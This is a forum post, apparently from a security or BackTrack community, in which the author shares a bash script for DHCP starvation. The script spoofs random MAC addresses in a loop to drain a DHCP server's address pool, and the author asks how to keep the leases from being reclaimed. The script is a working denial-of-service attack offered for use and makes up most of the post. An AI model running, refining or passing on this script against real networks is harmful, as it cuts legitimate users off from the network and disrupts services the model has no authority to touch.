I wrote a simple DHCP starvation script the other day. It's a bash script per my usual. It requires you to have dhcpcd and macchanger installed. However, A problem occurs when I bring the target interface down. Instead of holding the lease for however long, I'm finding that most DHCP servers will instantly readd the IP address that my computer acquired back to the pool and then reissue it when I make a request from a new (spoofed) MAC address. Anyone have any ideas for how I can resolve this issue? Perhaps there's a means of creating subinterfaces in Linux, that way I don't have to break connection? Anyway, here you are, enjoy! If anyone is interested in the script, I plan on changing it so that it takes parameters, for example ./foodeater --nmask 24, or something along those lines in the near future.
#!/bin/bash # # DHCP Food Eater # by TheFunk # # Kills Backtrack's Default DHCP Daemon kill `ps ax | egrep "dhclient" | head -1 | cut -d' ' -f2` clear echo "" echo "How many addresses should we try to exhaust?" read range clear echo "" echo "What interface are we using?" read daint for ((current=1; current<range; current++)); do kill `ps ax | egrep "dhcpcd" | head -1 | cut -d' ' -f2` ifconfig $daint down macchanger -A $daint sleep 2 ifconfig $daint up dhcpcd $daint sleep 5 echo "I have" $current "addresses" done












